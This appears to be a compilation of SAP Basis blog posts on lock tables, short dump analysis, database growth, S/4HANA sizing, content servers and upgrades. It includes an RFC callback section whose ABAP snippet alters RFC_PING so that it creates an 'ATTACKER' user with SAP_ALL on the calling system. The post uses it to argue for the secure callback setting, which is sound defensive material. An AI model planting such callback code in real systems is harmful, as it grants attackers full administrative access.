Enque and lock table issue analysis

Enqueue and lock table issue analysis can be bit hard form time to time. They don’t regularly occur and when they do, they can have big system performance impact.

This blog will explain:

  • How to detect enqueue issues?
  • How to quickly analyze the enqueue issues?

Detecting enqueue issues?

Enqueue issues can be easily detected in SM50 and SM66 if work process get stuck long time with status ENQ.

First analysis on enqueue issues

The first analysis on enqueue issues can be done in transaction code SM12. From the menu now select the options Extra / Diagnosis and Extra / Diagnosis in Update. This will run the diagnostics on the enqueue handling.

Result looks like:

SM12 check enqueue in update

To get statistics on the enqueue processing, on the same SM12 start screen select the menu Extra / Statistics.

Deeper analysis on enque issues

For deeper analysis on the lock issues, you might need to switch to the detailed error handling part of SM12. This is a hidden feature. To switch it on you must have the correct authorization (S_ENQUE with ALL in the activities). Switching can be done by keying in the word TEST in the GUI command line (where you key in the tcodes and the /n etc).

Now you will see an extra menu called Error Handling.

From this menu you can directly launch program RSMONENQ_PERF via the menu option Error handling/Diagnosis environment. This programs will check the performance of the enqueue handling:

Result from program RSMONENQ_PERF

The Error Handling menu will also give you option to trace the enqueue processing.

Even more analysis is possible with the Enqueue Log Analyzer. See OSS note 3110596 – Analyze the enqueue scenario with enqueue log analyzer and kernel snapshot analyzer.

More backgrounds can be found in OSS note 2252679 – How to analyze an enqueue lock problem and OSS note 2126913 – ENQU: The enqueue log (specifically on the logging).

Troubleshooting for old locks: 2422483 – Troubleshooting old locks transaction sm12.

Large log file: 3254498 – Large number of entries in enqueue backup files.

High wait times: 3250533 – High “Waiting Time for Lock Operations” statistic in Enqueue Server Administration.

Not all locks are shown: 2795956 – SM12 does not list all locks.

Lock table overflow

Lock table overflow can happen when more locks are set by programs then the available allocated memory for the locks. In a normal system this will hardly occur. But during a conversion that is operating on massive amount of data (sometimes even using parallel jobs) this lock table overflow can happen. If it happens this will effect ALL users. They will get lock table overflow error and cannot save their work. More then enough reason to have large conversion tested first on a test system with production like sizing and settings.

The FAQ note on lock table overflow is: 552289 – FAQ: R/3 lock management.

What can be done about lock table overflow?

Provided you have checked your system sizing, you can increase the lock table memory by increasing the parameter enque/table_size. More background read OSS note 1565578 – Lock Table Overflow and OSS note 13907 – System error in the block handler, overflow lock table.

Before increasing make sure to have read these two OSS notes on the lock table: OSS note 746138 – Analyzing lock table overflows and OSS note 746138 – Analyzing lock table overflows.

If you are running an older ECC system, the lock table settings in the profile parameters might be set quite low. Newer upgraded ECC system can handle much higher values of the enque/table_size parameter.

Top capacity users

In SM12 you can select menu option Extra / Top Capacity Used / Current or History to find the top users of locks. Background: 2138377 – Output delivered by “Top Capacity Used” menu in SM12.

New enqueue manager 2.0

For the new enqueue manager 2.0 read this blog.

Tips for improved short dump analysis in ST22

This blog will give you tips for improved analysis in the ST22 short dump list.

Questions that will be answered are:

  • What is this new button SAP correction notes doing there?
  • Detecting Z code in dump?
  • How to deal with RFC_NO_AUTHORITY dumps?
  • How to deal with CALL_FUNCTION_SINGLE_LOGIN_REJ dumps?
  • How to deal with TIME_OUT dumps?
  • How to deal with MESSAGE_TYPE_X dumps from program SAPLOLEA?
  • How to deal with TSV_TNEW_PAGE_ALLOC_FAILED dumps?
  • How to deal with CALL_FUNCTION_BACK_REJECTED dumps?
  • How to authorize ST22 details?
  • How can I find dumps specific to SAP HANA?

The tips below assume you have not yet any clue on how the dump is created.

If you know how the dump is created, but cannot analyze from the dump: please read the blog on the ANST tool: automated notes search tool.

SAP Correction Notes button

In newer SAP versions for most dumps you can find the SAP Correction Notes button:

Based on keywords in the short dump SAP will look for known solution correction notes.

The results might be surprisingly accurate:

ST22 notes correction found notes

If you have not setup the new SAP support backbone you will get a connection error:

Access denied

OSS note 2847665 – OSS RFC Connection fails, which refers to be backbone connection. To solve this issue: follow the instructions from OSS note 2781045 – ANST / ST22 note search “Connection cannot be established” .

If you get the message “Connection cannot be established”, check also fixes mentioned in OSS note 2605397 – ST22 – SAP Correction notes – error: “Unable to extablish OSS connection properly”.

Getting the overview of dumps

After starting transaction ST22 select menu item Goto / Overview. Fill out the dates and you now get the overview including the statistics on the occurrences:

Short dump overview

Dumps in HANA environments

SAP keeps a list of ST22 dumps especially for HANA environments: 2399990 – How-To: Analyzing ABAP Short Dumps in SAP HANA Environments. This is a very extensive note.

ST22 dump analysis authorizations

All the new ABAP stacks (as of 7.54) have the option for more fine grained ST22 authorizations. Please read OSS note 2792743 – Change in Authorization Check of ABAP Dump Analysis in release SAP_BASIS 7.54/7.77 – Authorization Object S_ABAPDUMP.

Detecting Z code in a dump

Detecting Z code in a dump is normally easy if it is a Z program. Some dumps you can have due to the fact that Z code is there in a user-exit, which again is calling SAP code. This dump will appear as looking 100% standard SAP, but when you scroll down in the Call Stack you will see Z code:

Before raising OSS message to SAP: make sure the call stack does not contain custom Z code.

RFC_NO_AUTHORITY dump

The RFC_NO_AUTHORITY is special kind of dump and typically looks like this:

ST22 dump RFC_NO_AUTHORITY

First thing to get from the dump is the user ID and the calling system (is it an internal call or call from different system). And if the user ID is a human user or system user.

Second thing to determine is: is this a valid call or not a valid call?

In case of valid call, look in the dump which authorization is missing and what needs to be added. If the addition is done: do keep an eye on the dumps, since a new dump might come for a different new authorization object.

In case of an invalid call, you need to determine how the call was initiated and take action to avoid the initiation. This is not always a simple job.

Why is checking this dump important? Complete business flows might be disrupted if this happens. It is hard to detect for the end users what is going on. It will take them time to raise an incident and for functional people to determine what is going on. This way a lot of valuable time can be lost.

What can also happen: people try to connect via RFC methods to read data. This will give lot of dumps which are hard to follow up.

If you get too many of these dumps and you can’t solve them, you can switch parameter rfc/signon_error_log to value -1. Then the dumps are no longer there in ST22, but in stead moved to SM21 system log with less detail. If you need to have the details again, switch the parameter again (it is dynamic). Background on the parameter rfc/signon_error_log can be found in OSS note 402639 – Meaningful error message texts (RFC/Workplace/EBP).

CALL_FUNCTION_SINGLE_LOGIN_REJ dump

A bit similar to the above dump is the CALL_FUNCTION_SINGLE_LONG_REJ dump. Here a user tries to login via RFC to the SAP system, from a different SAP system, or from a JCO based connector.

Again: first determine if the call is valid or not. If not valid, determine the calling source (can be hard!).

If it is a valid call, scroll down in the details section for this dump and look for the part below:

There are two codes: T-RC code and the L-RC code. Check both the codes. In this case above the user ID validity was no longer ok.

Depending on the codes different solution needs to be applied.

Why is checking this dump important? Complete business flows might be disrupted if this happens to system user. If it happens to single user he might get grumpy. It is hard to find for the end users what is going on. It will take them time to raise an incident and for functional people to determine what is going on. This way a lot of valuable time can be lost.

TIME_OUT dumps

If an online query takes longer than the timing set in parameter rdisp/max_wprun_time a TIME_OUT dump will happen. By default and best practice, this time out parameter is set to 10 minutes. This is also the case in most system.

This dump will look like:

ST22 TIME_OUT dump

If you scroll down (or click in the left section) to the User and Transaction section, you can see the ID of the user who caused this and the transaction.

First reaction of the average basis person is: call/mail the user and ask him to run this in batch mode. This is indeed one of the solutions.

Alternative potential solutions:

  • Analyze with the end-user if he can fill out more selection criteria (hence reducing the time needed to select the data)
  • Analyze with the end-user if he can run the report in multiple smaller sets
  • Check if there are known performance OSS notes for the transaction the user is running (the root cause might simply be an SAP bug)
  • Check if the database statistics of the tables queried is up to date
  • In some cases both the selection criteria are ok, and the output of the list in batch only give a few results: in this case the creation of special index might be the solution. This can happen in case of check reports that look for business exceptions.

Why is checking this dump important? Users tend to get very frustrated by the system if they hit this dump. They have to wait 10 minutes and have no result. Sometimes you see this dump a couple of times in a row. Imagine yourself being the user with a boss demanding report which crashes after 10 minutes…

MESSAGE_TYPE_X dumps from program SAPLOLEA

The MESSAGE_TYPE_X can be pointing to very serious issue. But the ones generated by program SAPLOLEA point towards one type: the SAP GUI server interaction.

This dump typically look like this: a main dump MESSAGE_TYPE_X and calling program SAPLOLEA.

This dump can have 3 main root causes:

  1. Issue in ABAP code (hit the SAP correction notes button to search for solutions)
  2. Issue in local SAP gui installation of the end user
  3. Issue in the SAP kernel

If you see many dumps with the same user ID: this typically points towards an old local SAP gui installation. Solution is to update the local SAP GUI for that user to the latest version that is supported in your company.

In rare cases the SAP kernel causes these kind of dumps. These are hard to find and detect. The only remedy here is to update the kernel at regular intervals.

To find which users use which SAP GUI version: go to transaction SM04 and add the field SAP GUI version:

Add SAP GUI version in SM04

From ABAP code: use function module TH_USER_LIST to get list of sessions. The GUI version is in the field GUIVERSION of output table USRLIST.

For more background on SAP GUI patching read this dedicated blog.

TSV_TNEW_PAGE_ALLOC_FAILED dumps

This type of dumps can have 2 main root causes:

  1. Way too many data is selected
  2. System is not properly tuned

For the second case read OSS note 2180736 – TSV_TNEW_PAGE_ALLOC_FAILED for and extensive description on what to check and update on basis level.

Known TSV_TNEW_PAGE_ALLOC_FAILED dumps:

CALL_FUNCTION_BACK_REJECTED dumps

These dumps are caused by missing callback positive listing. See OSS note 2981184 – What to do in case of CALL_FUNCTION_BACK_REJECTED short dump. The solution is to add the function module to the positive list in RFC. In no way reduce the RFC security by lowering the RFC callback security parameter rfc/callback_security_method. Read this blog on how to hack using callback RFC, and why not to lower the security.

Coding and table generation dumps

Dumps can happen due to coding and tables not generated properly. When it happens during transport import, it is normal. If it persists after the import, you need to act. Best practice notes:

Dump clean up

Dumps can be cleaned up with program RSSNAPDL. For more background on this program see oss note 1995777 – Dump deleted within a short period of time ST22.

Remove 28 day limit for keeping short dumps

Note 3020638 – Short dumps cannot be kept more than 28 days explains the 28 days limit. Applying note 3022767 – Remove implicite deletion of short dumps older than 28 days removed the limit.

SAP database growth control: getting insight

This blog will explain about getting insight into SAP database growth and controlling the growth.

Questions that will be answered are:

  • Do I have a database growth issue?
  • What are my largest tables?
  • How do I categorize my tables?

Why control database growth?

Controlling database growth has several reasons:

  • When converting to S/4 HANA you could end up with smaller physical HANA blade and need to buy less memory licenses from SAP
  • Less data storage leads to less costs (think also about production data copied back to acceptance, development and sandbox systems)
  • Back up / restore procedures are longer with large databases
  • Performance is better with smaller databases

Database growth

The most easy way to check if the database is growing too fast or not is using the Database Growth section in the SAP EWA (early watch alert). The EWA has both graphical and table representation for the growth:

EWA database growth picture

EWA database growth table

Or you can check online in the EWA workspace.

You now have to determine if the growth is acceptable or not. This depends a bit on the usage of the system, amount of users, business data, and if you already stretched your infrastructure or not.

General rules of thumb: 

1. Growth < 1 GB/month: do not spend time.
2. Growth > 1 GB/month and < 5 GB/month: implement technical clean up.
3. Growth > 5 GB/month: implement technical clean up and check for functional archiving opportunities.

Which are my largest tables?

To find the largest tables and indexes in your system start transaction DB02. In here select the option Space/Segments/Detailed Analysis and select all tables larger than 1 GB (or 1000 MB):

DB02 selection of tables larger than 1 GB

Then wait for the results and sort the results by size:

DB02 sorted by size

You can also download the full list.

Analysis of the large  tables

Processing of the tables is usually done by starting with the largest tables first.

You can divide the tables in following categories:

  1. Technical data: deletion and clean up can be done (logging you don’t want any more like some idoc types, application logging older than 2 years, etc): see blog on technical clean up
  2. Technical data: archiving or storing can be done (idocs you must store, but don’t need fast access to, attachments)
    1. In Oracle based systems, you might find large SYS_LOB tables. To analyze these, read this special blog.
  3. Functional data: archiving might be done here: for functional data archiving see this blog on technical execution, and this blog for business discussions.

SAP data management guide

SAP has a best practice document called “Data Management Guide for
SAP Business Suite” or “DVM guide”. This document is updated every quarter to half year. The publication location is bit hidden by SAP under their DVM (data volume management) service. In the bottom here go to SAP support and open the How-to-guides section. Or search on google with the term “Data Management Guide for SAP Business Suite” (you might end up with a bit older version). The guide is giving you options per large table to delete and/or archive data.

Common technical objects

Most common technical tables you will come across:

  • EDIDC, EDIDS, EDI40: idocs
  • DBTABLOG: table changes
  • BALHDR, BALDAT: application logging
  • SWW* (all that start with SWW): workflow tables
  • SYS_LOB…..$$: attachments (office attachments and/or DB storage of attachments and/or GOS, global object services attachments)

Detailed table analysis for functional tables: TAANA tool

For detailed analysis on functional tables the TAANA (table analysis) tool can be used. Simply start transaction TAANA.

Now create a table analysis variant by giving the table name and selection of the analysis variant:

TAANA start screen

The default variant will only do a record count. Some tables (like BKPF in this example) come with a predefined ARCHIVE variant. This is most useful option. If this option does not fit your need, you can also push the create Ad Hoc Report button and define your own variant.

Caution: with the ad hoc variant select your fields with care, since the analysis will count all combinations of fields you select. Never select table key fields

Results of TAANA are visible after the TAANA batch job is finished.

TAANA result

By running the proper TAANA analysis for a large functional table you get insight into the distribution per year, company code, plant, document type etc. This will help you also estimate the benefits of archiving a specific object.

For TAANA improvement on dynamic subfields, please check this blog.

If you run on HANA, you can also use SE16H for the table analysis.

Bug fix OSS note for TAANA:

Alternatives for TAANA

If you are running on HANA, you can also check using SE16H and SE16S.

From analysis to action

For the technical clean up read the special blog on this topic. For functional objects, you need to find the relation from the table to the functional data archiving object. This relation and how to find it is clearly explained in OSS note 2607963 – How to find the relationship between table and archive object.

SAP data volume management via SAP solution manager

SAP is offering option to report on data volume management via SAP solution manager directly or as a subsection in the EWA. Experience so far with this: too long in setup, too buggy. The methods described above are much, much faster and you get insight into a matter of hours. The DVM setup will take you hours to do and days/weeks to wait for results…. TAANA and SE16H are way faster.

S4HANA upgrade sizing

This blog will explain options and tools you have for S/4HANA sizing for both new installations as well as upgrades.

Questions that will be answered are:

  • How can I execute S/4HANA sizing?
  • How do I execute the memory sizing for upgrading existing ECC system on non-HANA database to S/4HANA?
  • How do I execute CPU sizing for S/4HANA?
  • How do I execute disc storage sizing for S/4HANA?

Executing S/4HANA sizing

For both greenfield and existing ECC systems the SAP specific quicksizer for S/4HANA can be used: S4HANA quicksizer, then launch the tool from that page:

Quick sizer

For existing system you can pull data from existing system for greenfield you have to take either existing numbers from legacy system or input from project them.

The term quick sizing can be bit misleading. The tools is nowadays pretty advanced and requires quite some input.

How to fill the quicksizer is explained in OSS note 2467172 – How to size Fiori applications based on number of users.

Memory sizing for upgrading existing system

SAP has delivered a tool to help in sizing memory for S4HANA for upgrading an existing system. In your current ECC system you need to apply OSS note 1872170 – Business Suite on HANA and S/4HANA sizing report. This will deliver ABAP report /SDF/HDB_SIZING. You test this on development system and transport it to production for productive run.

S4HANA sizing program

Best to run this in background. You can then get the results in the spool of the batch job.

Sizing results

The results give an as good as possible estimation of memory sizing after the database conversion.

CPU sizing for S/4HANA

More details on CPU sizing can be found in OSS note 1793345 – Sizing for SAP Suite on HANA.

Disc space sizing for S/4HANA

Disc space storage sizing for S/4HANA can be found in extensive document on SAP site.

OSS notes

Before running the /SDF/HDB_SIZING program it is best to update it with the most recently available updates: 3104284 – HANA memory Sizing report – Advanced correction 15 or higher,  3470136 – HANA Memory Sizing Report – Advanced Correction 21 and any higher correction.
Also apply this note: 3125526 – Report /SDF/HDB_SIZING_CLEAN cannot use dynamic variants.

S/4 HANA readiness check

SAP has released S4HANA readiness check 2.0. Please read this blog on the new tool version.

If you want to use old version, please read on.

This blog explains the new tool for SAP customers to prepare for S/4 HANA upgrade: S/4 HANA readiness check.

Questions that will be answered are:

  • What is the S/4 HANA readiness check?
  • How to execute it?
  • What results can I expect?

S/4 HANA readiness check

The S/4 HANA readiness check is a tool from SAP that can help you prepare for S/4 HANA upgrade. The tool is a web based online tool running in SAP cloud that is using 2 files with data from your system:

  1. Extract from your customer code
  2. Usage data of transactions measured in your system (based on ST03N data)

The outcome is online report with list of potential improvements in S/4 HANA that might be relevant for your business and list of potential issues when upgrading caused by custom code or by generic changes by SAP.

The end user guide of the tool can be found on the SAP site.

Execution of S/4 HANA readiness check

The main note for the readiness check is 2290622. This note describes that there 2 ways to run the check:

  1. Via solution manager
  2. Directly

The direct approach is the most easy. The exact steps are always updated in OSS note 2310438. Carefully implement all the prerequisite notes mentioned in this note.

After this is done 2 programs will be available.

Program SYCM_DOWNLOAD_REPOSITORY_INFO will download the ABAP custom developments.

Program SYCM_DOWNLOAD_REPOSITORY_INFO

The program will check if the where-used index is up to date. If not it will refer to OSS note 2234970. This note can be bit confusing. But basically what you need to do is run program SAPRSEUB in the background (and wait up to 2 days on larger system with many custom code!!).

Please note the following: As a prerequisite for SAP Note 2185390 or the program SYCM_DOWNLOAD_REPOSITORY_INFO, please start only the program SAPRSEUB! Do not start SAPRSEUC. If you use an MSSQL database, you must implement SAP Note 1554667 before starting SAPRSEUB; otherwise, database problems occur. More on ABAP where used index via SAPRSEUB see blog link.

The second program will capture analysis data: TMW_RC_DOWNLOAD_ANALYSIS_DATA.

Program TMW_RC_DOWNLOAD_ANALYSIS_DATA

You will have to start this program a few times. Every time it will launch a new batch job for each tick box you have selected.

Both of the programs will deliver you a zip file that you store on local PC or laptop.

These result files you upload in the SAP cloud part of the tool on the SAP support portal: https://launchpad.support.sap.com/#readiness.

Readiness tool import analysis

Now you have to wait until the analysis is done.

Result of the S/4 HANA readiness check tool

When the analysis is finished you first enter the dashboard:

Readiness tool result overview page

When zooming in you will reach the detailed screens with all the small details and relevant OSS note references:

Readiness tool details

Top right in the details list there is the button to create the results document. This is easier for sharing the results with management, since they typically don’t have an S user to logon to the tool.

Running S4HANA ABAP checks in your own system

With the remote ATC tool with special variant S4HANA Readiness you can run the ABAP checks in your onw system. Read this blog for more information.

New content for new S4HANA versions

With every new version of S4HANA (and its intermediate feature packs) SAP will update the simplification list and the corresponding OSS notes. This will also impact the analysis programs. OSS note 2399707 – Simplification Item Check lists down which note version you need to apply to your system to have the checks for the S4HANA version of your choice. For the newer notes you will have to use the TCI based OSS notes (see blog on notes tips & tricks).

If you have installed the latest TCI note, you also get a new program called /SDF/RC_START_CHECK. After start of this program you get this screen:

Readiness check program

You now can immediately see if you have new versions of OSS notes to apply to get most recent checks.

And after the run, you can use the button Application Log to see a more detailed result list on the simplification checks carried out in your system.

Custom ABAP code analysis

For a more detailed analysis on your custom ABAP code you can use the remote ATC tooling for a more detailed analysis. See this blog for details.

SAP content server technical tips and tricks

This blog will give you technical tips and tricks regarding the SAP content server.

Questions that will be answered are:

  • How can I check technical connection to content server?
  • How can I check that the content server functions work from technical side?
  • How can I test a cache server setup?
  • How can I extend to a file size limit above 2 GB?
  • How to check if a document exists in the content server?
  • How can I log document deletions?
  • How can I check and fix long response times?

Technical connection test to SAP content server

The first obvious connection test is in the administration function of the content server. Start transaction OAC0 (starts with letter O and ends with zero) and select your content server. On the next screen hit the check button. If the test is ok, click on the CSADMIN button and the detailed screen comes. There should be a green light behind your content repository. If no connection or no green light, there are issues in the linking and communication to content server (content server down, firewall block, etc). More details are in OSS note 2457912 – How to create a content repository in OAC0?.

CSADMIN only works properly with SAP content server. With external products there are restrictions. See OSS note 1879152 – CSADMIN: HTTP error: 400 Bad Request 5010: wrong usage.

Technical function test of SAP content server

To test if all the SAP content server functions are working from the technical level you can use test program RSCMST. Unfortunately there is no transaction linked by SAP, so you have to use SE38 or SA38 to start the program. After filling out the content server on first screen, you come to the second screen where you can launch the detailed tests. Per test you have to click the execute button.

Test program RSCMST result screen

Green means test has run and ok. Red is the unfortunate one where test has run and result is not ok. Yellow means test has not yet been executed.

In an ideal case all lights are green. If you have red light best to fix it by either applying OSS note to ABAP server or patch to content server.

Your specific company might not use all the technical options for content server (like the above HTTP using mCreate), but this is hard to correlate to end user scenario’s. If your users are facing issues with content server and not all lights are green on this report, it is a basis issue to be solved.

More background on the tests: OSS note 1482012 – Check the connection to content server.

Remark: the test program RSCMST can have bugs by itself. So check for latest version of this program and apply the OSS notes before running and relying on the program. Last known updates are from July 2017, by looking at keyword RSCMST in the SAP notes.

If you are running on content server 7.53 or higher, please read OSS notes 2888195 – Content Server 7.53 and report RSCMST and 2897793 – RSCMSTH2 reports errors for Content Server 7.53. This notes state that only the first 3 checks are relevant for 7.53 and higher.

Bug fix notes:

Content server check in monitoring

By using a custom ABAP program, you can test the link from ABAP server to content server and alert to monitoring. Read this blog on how to achieve this and the source of the custom ABAP program.

Content server performance

Program RSHTTP80 can be used to test the content server performance. Background OSS note: 579366 – Content server performance.

Testing cache server setup

If you have a cache server setup and want to check if that works properly, also here test program RSCMST is used. Read OSS note 2083855 – How to check cache server access on the exact parameters to fill out.

File size limit larger than 2 GB

If you want to store files larger than 2 GB, follow the instruction from this OSS note: 1705940 – Check in/out of files larger than 2GB in SAP Content Server. 2023376 – 2 GB Enablement from Knowledge Provider.

Migration of documents

You can migrate documents from the database to content server. Read this dedicated blog.

Timeout issues

For most timeout issues there is an issue with the content server. Check if the database or logfiles are not full. Reference: 2547719 – SAP Content Server: timeout error.

Long response times

In some cases attachments might have an unexpected long response time (despite small size of document). This can happen with GOS attachments and other (custom) code re-using the GOS attachments. Read OSS note 1783987 – Long response time for document display in Attachment list to set SU33 user parameters SAPHTTP_RFC_CHECK_TO and SAPCMS_RFC_CHECK_TO to value FAILED as solution. The note also explains the background.

Check document existence

To check if a document exists on the content server, follow the instructions from OSS note 2251113 – Check whether a document exists on SAP Content Server database.

Checking document deletion

If you want more information on document deletion, apply the settings from OSS note 2005308 – KPro Delete Logs to let the system log the knowledge provider document deletions in the SLG1 application log.

Signatures

Please be careful with the signature settings. They have to be consistent. This setting can be made in OAC0 for the repository and in CSADMIN for the content server. These have to be consistent. If not you get unexpected issues that it does not work, and it is hard to detect that this dis-balance in settings are causing the issue.

Content repository changes in the landscape

You best do NOT transport content repository changes. Do the OAC0 maintenance locally. This is described in OSS note 3228661 – How to transport content repository configuration in OAC0. Same for deletion of OAC0 entries: do not transport, but local delete in each system: 2939014 – How to delete a Content Repository using Transport Request?.

Using SAP database as content server

The settings to use the SAP database as content server are described in this OSS note: 3448453 – Configuring Content Repository of type ‘SAP Database’.

If possible don't use this option if you have a HANA database. All attachments and documents will be loaded into expensive memory and expensive license.

How to resolve the error “Tables COMPONENT and COMPONENT_DATA are inconsistent”?

In some very specific cases you will get the error “Tables COMPONENT and COMPONENT_DATA are inconsistent”. Solution for this issue might be to regenerate SAPHTTP and SAPHTTPA destinations with program RSHTTP05.

Reference OSS notes:

RFC callback hacking

This blog explains about RFC callback hacking.

When you start transaction SM59 for setting up RFC connections, you might see the red icon telling you RFC callback check not secure.

RFC callback not secure

This blog will explain you following:

  • How can a hacker exploit this RFC callback weakness?
  • How to make the RFC callback secure?
  • What is the difference between RFC callback simulation and intervention?
  • What to do in case of a valid use of RFC callback?

RFC callback hacking in action

What the RFC callback does is basically firing back function modules to the sender. These modules are then executed on the originating system with the privileges of the original caller.

If an attacker has gained access to one system and modifies code that is called from another system it can fire commands to the other system with the privileges of the caller.

In the example below the attacker has altered the standard RFC_PING function module (code snippet is below). He then convinces a high privilege admin of the target system to remotely call and ping the compromised system for example by asking the admin to do a connection test in SM59 (which calls the RFC_PING module). The callback code is fired against the target system and is run with the user ID of the admin (not of the attacker) of the target system.

RFC callback hack explanation

Code snippet of modified RFC_PING:

  • Call module to create user on destination ‘BACK’ and set the password.
  • Assign the privilege SAP_ALL (highest available privilege)
 DATA: ZLV_BAPIBNAME TYPE SY-UNAME.
 DATA: ZLS_BAPILOGOND TYPE BAPILOGOND.
 DATA: ZLV_BAPIPWD TYPE XUNCODE.
 DATA: ZLS_BAPIADDR3 TYPE BAPIADDR3.
 DATA: ZLT_BAPIRET2 TYPE TABLE OF BAPIRET2.
 DATA: ZLS_BAPIPROF TYPE BAPIPROF.
 DATA: ZLT_BAPIPROF TYPE TABLE OF BAPIPROF.
 
   ZLV_BAPIBNAME = 'ATTACKER'.
   ZLS_BAPILOGOND-USTYP = 'A'.
   ZLV_BAPIPWD = 'Welcome_in1!'.
   ZLS_BAPIADDR3-LASTNAME = 'Attacker'.
 
   CALL FUNCTION 'BAPI_USER_CREATE1' DESTINATION 'BACK'
     EXPORTING
       USERNAME                      = ZLV_BAPIBNAME
       LOGONDATA                     = ZLS_BAPILOGOND
       PASSWORD                      = ZLV_BAPIPWD
       ADDRESS                       = ZLS_BAPIADDR3.
 
 ZLS_BAPIPROF-BAPIPROF = 'SAP_ALL'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 ZLS_BAPIPROF-BAPIPROF = 'SAP_NEW'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 
 CALL FUNCTION 'BAPI_USER_PROFILES_ASSIGN' DESTINATION 'BACK'
   EXPORTING
     USERNAME       = ZLV_BAPIBNAME
   TABLES
     PROFILES       = ZLT_BAPIPROF
     RETURN         = ZLT_BAPIRET2.

If the admin executes the ping towards the compromised system he will see this screen:

RFC ping

The only suspicious part the admin might see is the slightly longer logon time (in which the callback is executed).

End result on target system: ATTACKER user created by ADMIN user.

Attacker user created

With the privileges:

Attacker admin privileges assigned

This is one example. There are many different creative ways in which a callback RFC can be misused.

Detection of the RFC callbacks

RFC callback actions are registered in the SAP audit log if they are configured. The default classification is warning for RFC callback.

Audit log trace for the above action looks as follows:

Audit log for user ADMIN

How to make the RFC callback secure?

The SAP system parameter rfc/callback_security_method (set it in RZ11) is determining the RFC callback behavior.

rfc/callback_security_method set to 1 means basically “do nothing”. This is the insecure default setting and it will result into the red traffic light on SM59 RFC connection setup screen.

rfc/callback_security_method set to 2 means “simulation active”. With this setting entries are written to the audit log (for setup of the audit log see this blog).  This setting is still insecure!

It can be used on a productive system to see which callbacks are coming in and do analysis before switching to 3 (fully secure, but immediate interception).

Make sure in the audit log, that the simulation is captured:

Simulate for a while, and the generate the white list (or positive list):

rfc/callback_security_method set to 3 means that the system will do interfception of RFC callback methods. This is the secure setting. The SM59 RFC connection traffic light will now show green:

RFC callback secure

Callback positive lists

In some cases an RFC callback is used with a good intention and reason. These exceptions can be put into the callback positive list. Per RFC on the Logon & security tab you can activate the combination of called and called back function modules.

If you have enabled the audit log, you can use it to generate RFC callback positive lists. In SM59 select the option: RFC / Generate RFC Callback Positive List.

Check to apply OSS note 2863851 – RFC Callback Positive Lists not created.

If you have spaces in the RFC, or by accident add a space as well, it can also give issues. Apply OSS note 2941068 – sm59/Callback whitelist input validation missing to fix this issue.

A callback can be seen as ST22 dump CALL_FUNCTION_BACK_REJECTED: see OSS note 2981184 – What to do in case of CALL_FUNCTION_BACK_REJECTED short dump.

OSS notes

Explanation notes:

Bug fix notes:

Known positive callback: SAP CUA

SAP CUA (central user administration) uses a callback to fetch profiles. In your CUA system per RFC to remote child CUA system you have to set the following positive callback:

CUA postive callback settings

(SUSR_ZBV_GET_REMOTE_PROFILES and SUSR_ZBV_SEND_PROFILES)

Known positive callback: SAP screen painter RFC EU_SCRP_WN32

In the screen painter RFC EU_SCRP_WN32 add the following list of modules (see OSS note 2251931 – Runtime error CALLBACK_REJECTED_BY_WHITELIST in graphical Screen Painter):

RS_SCRP_GF_PROCESS_640         RFC_GET_FUNCTION_INTERFACE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RBUILDINFO

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RELEMTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RICONS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RMESSAGES

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RPROPTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RSTATUS_40

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RDDICFIELDS

The screen painter is hardly used nowadays at all. Normally developer use this tool only on development system.

Known positive callback: remote ATC scenario

See OSS note 3084103 – Analyze reference check variants for RFC callbacks.

Known random callback issue: transport related callback calls

Some cases around transports are know. For example with system copies and refreshes. An RFC callback dump on module TRINT_PROGRESS_INDICATOR might occur on RFC destination BACK. In the dump you will find the real RFC (type TCP/IP) destination with variable LV_TP_DESTINATION. Regeneration is needed. Follow the instructions of OSS note 3356141 – CALLBACK_REJECTED_BY_WHITELIST when showing transport orders buffer.

Preparation for SAP upgrade or support package

This blog explains about preparation you can do for SAP upgrade of support package.

Questions that will be answered are:

  • Where to find support package schedule?
  • Where to find version information on upgrades?
  • Do I need to do delta sizing for upgrade?
  • Do I need to perform extra preparation steps for an S4HANA upgrade?
  • Determining the version: why not to use the latest minus one?

Latest available main version for upgrade

For the latest available version you can check the SAP product availability matrix site. This is also know as the SAP-PAM.

After finding the right product on the first tab you can see the current release details and end of support date.

PAM details release and support dates

On the second tab you see the upgrade paths that are supported:

PAM details upgrade paths

In the middle the target version. On the left hand the versions from which you can upgrade. To the right are even higher versions you can upgrade to.

Also check here the support Linux versions. You might be surprised: you often need to upgrade the operating system first before you can upgrade your application.

Same for the HANA database or database version: newer releases of functional software will force you to upgrade your database as (or upgrade database first).

Latest available versions of support packages

The latest available versions of support packages are published by SAP on the SAP support package stacks page. On this page click on the SAP support package stack maintenance schedule link to download the latest version of the schedule.

Support package version: minus one or latest?

In many companies there is a policy to never take the latest version of a support package. The line of thinking is: let other people solve the bugs of SAP first.

Current delivery of ABAP support packages is quite good. And the frequency is not so high as in the past. For ECC about 2 to 3 support packages per year are released (as compare to 6 to 9 in the past in the 4.6 ages).

In stead of taking minus one, you can also consider this rule: at point of go-live make sure that the support package is at least released 3 months ago. This will counter the risk of having an issue which is not discovered by anyone else before.

People using the rule minus one without thinking should not be trusted. It is like going to Apple and insisting on Iphone 11, because you don't trust Iphone 12 and use the rule minus one...

Delta sizing

Delta sizing for support packages is not needed. Delta sizing for an upgrade might be required if:

  • Upgrade crosses multiple versions (for example upgrade from Netweaver 6.20 to Netweaver 7.51)
  • Upgrade is including a new database (for example migration to HANA database)
  • Specific upgrade manual is specific about delta sizing (for example the upgrade from SAP solution manager 7.1 to 7.2 is specific enough to carry out delta sizing)
  • For ECC to S4HANA conversion

Custom code

For analyzing custom code before the upgrade you can use the CDMC toolset. For more information read this blog.

Also use the clone finder to find clones. You might need to delete the clones or adjust them after the upgrade. More information on the clone finder tool can be read in this blog.

Releasing transports and cleaning up transport pipeline

